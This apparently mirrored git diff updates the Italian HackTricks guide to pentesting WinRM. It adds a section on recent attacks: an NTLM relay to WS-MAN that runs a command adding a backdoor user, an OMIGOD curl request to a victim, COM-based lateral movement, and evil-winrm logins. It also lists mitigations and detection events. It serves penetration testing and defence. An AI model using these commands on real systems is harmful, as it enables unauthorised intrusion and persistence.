mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.
This commit is contained in:
parent
4385d62acf
commit
1ca54d78c3
@ -15,7 +15,7 @@ Una porta aperta dall'elenco sopra indica che WinRM è stato configurato, consen
|
||||
|
||||
### **Iniziare una sessione WinRM**
|
||||
|
||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, impostando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||
Per configurare PowerShell per WinRM, il cmdlet `Enable-PSRemoting` di Microsoft entra in gioco, configurando il computer per accettare comandi PowerShell remoti. Con accesso elevato a PowerShell, è possibile eseguire i seguenti comandi per abilitare questa funzionalità e designare qualsiasi host come attendibile:
|
||||
```bash
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -28,9 +28,9 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
||||
```
|
||||
Questo metodo consente la configurazione remota di WinRM, migliorando la flessibilità nella gestione delle macchine Windows da lontano.
|
||||
|
||||
### Testare se configurato
|
||||
### Verifica se configurato
|
||||
|
||||
Per verificare la configurazione della tua macchina di attacco, il comando `Test-WSMan` viene utilizzato per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
||||
Per verificare la configurazione della tua macchina di attacco, viene utilizzato il comando `Test-WSMan` per controllare se il target ha WinRM configurato correttamente. Eseguendo questo comando, dovresti aspettarti di ricevere dettagli riguardanti la versione del protocollo e wsmid, indicando una configurazione riuscita. Di seguito sono riportati esempi che dimostrano l'output atteso per un target configurato rispetto a uno non configurato:
|
||||
|
||||
- Per un target che **è** configurato correttamente, l'output apparirà simile a questo:
|
||||
```bash
|
||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Leggi **documentazione** sul suo github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
Leggi **documentazione** su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
@ -220,8 +220,73 @@ end
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
---
|
||||
|
||||
## Vulnerabilità Recenti e Tecniche Offensive (2021-2025)
|
||||
|
||||
### Relay NTLM direttamente a WinRM (WS-MAN)
|
||||
Dalla versione 0.11 di Impacket (Maggio 2023) `ntlmrelayx.py` può rilanciare le credenziali NTLM catturate direttamente a un listener **WS-MAN**/WinRM. Quando un host continua ad ascoltare su **HTTP non criptato (5985)**, un attaccante può combinare *mitm6* (o *Responder*) per forzare l'autenticazione e ottenere l'esecuzione di codice a livello SYSTEM:
|
||||
```bash
|
||||
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
|
||||
--command "net user pwned P@ssw0rd! /add"
|
||||
```
|
||||
Mitigazioni
|
||||
* Disabilita i listener HTTP – `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
|
||||
* Forza HTTPS e abilita la Protezione Estesa per l'Autenticazione (EPA) sulle versioni recenti di Windows.
|
||||
|
||||
### OMIGOD – CVE-2021-38647 (Azure OMI)
|
||||
Gli agenti Linux di Azure utilizzano il servizio **Open Management Infrastructure (OMI)** che espone l'API WinRM/WS-MAN sulle porte **5985/5986**. Un errore logico ha consentito **RCE non autenticato come root**:
|
||||
```text
|
||||
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
|
||||
```
|
||||
Patch o rimuovi OMI (versione ≥ 1.6.8-1) e blocca quelle porte da Internet.
|
||||
|
||||
### Abuso di WSMan.Automation COM per movimento laterale
|
||||
WinRM può essere controllato senza PowerShell tramite l'oggetto COM `WSMan.Automation` – utile su sistemi in modalità Constrained-Language. Strumenti come *SharpWSManWinRM* avvolgono questa tecnica:
|
||||
```powershell
|
||||
$ws = New-Object -ComObject 'WSMan.Automation'
|
||||
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
|
||||
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
|
||||
$session.Signal($cmdId,0)
|
||||
```
|
||||
La catena di esecuzione (`svchost → wmiprvse → cmd.exe`) è identica al classico PS-Remoting.
|
||||
|
||||
---
|
||||
|
||||
## Aggiornamenti degli strumenti
|
||||
|
||||
* **Evil-WinRM v3.x (2024)** – ora supporta l'autenticazione **Kerberos** (`-k` / `--spn`) e l'autenticazione **basata su certificato** (`--cert-pem`/`--key-pem`), registrazione delle sessioni (`-L`) e la possibilità di disabilitare il completamento del percorso remoto (`-N`).
|
||||
|
||||
```bash
|
||||
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
|
||||
```
|
||||
|
||||
* **Python – `pypsrp` 0.9 (2024)** offre WinRM e PS-Remoting da Linux, inclusi CredSSP e Kerberos:
|
||||
|
||||
```python
|
||||
from psrp.client import Client
|
||||
c = Client('srv01', username='ACME\\j.doe', ssl=True)
|
||||
print(c.execute_cmd('ipconfig /all').std_out.decode())
|
||||
```
|
||||
|
||||
* **Rilevamento** – monitora il registro **Microsoft-Windows-WinRM/Operational**:
|
||||
* Evento 91 / 163 – shell creata
|
||||
* Evento 182 – errore di autenticazione
|
||||
* Nel registro di Sicurezza, l'evento 4262 registra l'IP sorgente (aggiunto nei CUs di luglio 2022).
|
||||
Raccogli questi dati centralmente e invia avvisi su IP anonimi o esterni.
|
||||
|
||||
---
|
||||
|
||||
## Shodan
|
||||
|
||||
- `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
|
||||
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
|
||||
|
||||
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
## HackTricks Comandi Automatici
|
||||
|
Loading…
x
Reference in New Issue
Block a user